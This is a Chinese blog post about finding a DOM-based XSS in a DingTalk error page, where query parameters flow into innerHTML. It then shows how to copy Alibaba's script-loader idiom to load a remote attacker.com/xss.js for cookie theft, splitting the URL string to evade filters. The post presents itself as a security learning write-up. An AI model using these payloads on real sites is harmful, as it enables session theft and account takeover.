做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

  题外话1:

    查看源码,复制其中的代码:

try {
var search = location.search;
if (search && search.length > 1 && search.charAt(0) === '?') {
search = search.substr(1);
var pairs = search.split('&');
var kv = {};
for (var i in pairs) {
var parts = pairs[i].split('=');
if (parts && parts.length > 1) {
kv[parts[0]] = parts[1];
}
}
}
var errcode = kv['errcode'];
var errmsg = kv['errmsg'];
if (errcode) {
var divCode = document.getElementById('code');
if (divCode) {
divCode.innerHTML += ('errcode: ' + errcode);
}
}
if (errmsg) {
var divMsg = document.getElementById('msg');
if (divMsg) {
divMsg.innerHTML += ('errmsg: ' + errmsg);
}
}
}
catch (e) {console.log(e);}

  关键部分是:

    

  写入errcode和errmsg到divCode和divMsg中。

  其中errcode和errmsg都是我们可控的。

  打开console简单测试下:

    不懂没关系直接做:

      

  

说明我们外部可控,导致这个原因是因为遍历的是location.search

  本地搓个demo:    

只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。。最后做了处理。

    正题:加载第三方js代码:

    刷新钉钉页面:

    

发现加载了一些js链接依赖:

    查看源码,看看他怎么调用的:

    

<body><script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")
</script>
<script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>
<script>
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")
</script>

  相当于的有意思,不同于以前的,以前我们xss打cookie是这样的:

    

<script src="http://attacker.com/xss.js"></script>

  通过阿里加载js的方式,我们可以改造我们的方式如下:

      

<script type="text/javascript">
with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")
</script>

我们访问网页:

    

直接加载了,查看我们是否接收到:

    

  成功接收成功。

  这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

      

通过钉钉网页上的js学习xss打cookie的更多相关文章

  1. 在手机网页上模拟 js 控制台

    在手机上模拟 console  做一些简单代码调试 在工作机上编辑好代码用QQ 之类的工具传到 手机上在调试当然你也可以尝试用一只手指写代码的壮举设置 window.console = mobiDeb ...

  2. 网页上的JS call Unity3d里的function——SendMessage

    注意: sendmessage只可以从网页发信息到unity游戏里,但是没有返回值 只可以发布三种类型的data,不可以其他复杂的强类型 发信息的时不会做编译检测 SendMessage Workfl ...

  3. 钉钉js依赖库学习

    看别人用的依赖库的好处在于,你知道有什么可以用,什么可以借鉴.(钉钉——协作桌面应用) PS:人最怕是不知道,而不是你不会. 1. jQuery 钉钉使用了1.9.1版本的jQuery,jQuery作 ...

  4. js api 实现钉钉免登

    js api 实现钉钉免登,用于从钉钉微应用跳转到企业内部的oa,erp等,我刚刚实施完了我公司的这个功能,钉钉用起来还不错. 1 js api 实现钉钉免登,页面配置. <title>利 ...

  5. JS学习小结(上)

    学而时习之,不亦说乎,开启JS学习新乐章~ JS是干啥的?网页特效,它主要是实现控制结构和样式,是一种行为,有多重要,不言而喻吧,页面炫酷的资本. 1. JS输出: alert("hello ...

  6. 使用python uiautomation从钉钉网页版提取公司所有联系人信息

    之前写了一个提取QQ群里所有人信息的脚本 https://www.cnblogs.com/Yinkaisheng/p/5114932.html 今天写一个从钉钉网页版提取公司所有人通讯录的脚本,,本脚 ...

  7. 阿里钉钉技术分享:企业级IM王者——钉钉在后端架构上的过人之处

    本文引用了唐小智发表于InfoQ公众号上的“钉钉企业级IM存储架构创新之道”一文的部分内容,收录时有改动,感谢原作者的无私分享. 1.引言 业界的 IM 产品在功能上同质化较高,而企业级的 IM 产品 ...

  8. D3.js学习笔记(二)——使用绑定在DOM上的数据

    简单例子 在这个例子中,你将会使用D3.js来将数据绑定到DOM元素上.然后再使用D3.js利用绑定到DOM元素上的数据来更新网页. 在上一章中,我们以下面这个页面作为开始的: <!DOCTYP ...

  9. JS让网页上文字出现键盘打字的打字效果

    一个挺简单的网页特效:JS让网页上文字出现键盘打字的打字效果实现 演示地址:http://codepen.io/guihailiuli/pen/jPOYMZ 以代码形式实现过程分析: <html ...

随机推荐

  1. 微信小程序onReachBottom第二次失效

    当整个页面就是一个view包着一个轮播.一个横向scroll-view和一个纵向scroll-view onReachBottom方法只执行一次 解决方法:

  2. C#后端接收前端的各种类型数据

    前端往后端提交数据的方式常用的就这么三种:1.form提交:2.url参数提交:3.json提交 1.针对表单form方式的提交 在后端使用Request.Form的方式接收,比如 前端代码片段: v ...

  3. 虚拟机测试cobbler,网络安装加载最后出现 dracut:/#

    1.cobbler的几个重要概念: distro:发行版系统容,我理解为镜像来源,提供了kernel 和 initrd 文件以及repo源 profile:kickstart文件,用于定制系统,定制安 ...

  4. PAT-1064(Complete Binary Search Tree)JAVA实现

    Complete Binary Search Tree PAT-1064 本次因为涉及到完全二叉排序树,所以可以使用数组的形式来存储二叉排序树 对输入序列排序后,得到的是中序遍历二叉排序树的序列.对这 ...

  5. numpy函数的使用

    NumPy(Numerical Python) 是 Python 语言的一个扩展程序库,支持大量的维度数组与矩阵运算,此外也针对数组运算提供大量的数学函数库. 数据分析三剑客:Numpy,Pandas ...

  6. Java基础:重文本markdown

    说一说markdown 前言 在系统学习Java等开发语言之前,我们应该养成写"日记"的习惯,也就是写博客:写博客的地方有博客园,csdn等.而写博客又得知道markdown重文本 ...

  7. 聊一聊桥接(JSBridge)的原理

    一.前言 如今的互联网时代也称移动互联网时代,基本上每个人每天都会花费大量时间在移动设备上,早期的移动端应用大都使用原生开发(android,ios),而现在的移动开发技术选型上基本都是混合开发(Hy ...

  8. Linux—用户新建目录和文件的默认权限设置:umask详解

    关注微信公众号:CodingTechWork,一起学习进步. 引言   我们有没有思考过一个问题,在登录Linux系统后,我们创建的目录或者文件的权限,为什么每次创建都是统一的?我们做以下实验:新建一 ...

  9. CQGUI框架之阴影圆角窗口实现

    CQGUI框架之阴影圆角窗口实现 大家好,我是IT文艺男,来自一线大厂的一线程序员 今天给大家讲解基于C++/Qt的CQGUI框架的阴影圆角窗口实现,实现效果如下图所示:: CQGUI开发环境:: M ...

  10. SqlServer存储过程的创建与使用

    什么是存储过程? T-SQL中的存储过程,非常类似于net语言中的方法,它可以重复调用.当存储过程执行一次后,可以将语句缓存中,这样下次执行的时候直接使用缓存中的语句. 这样就可以提高存储过程的性能. ...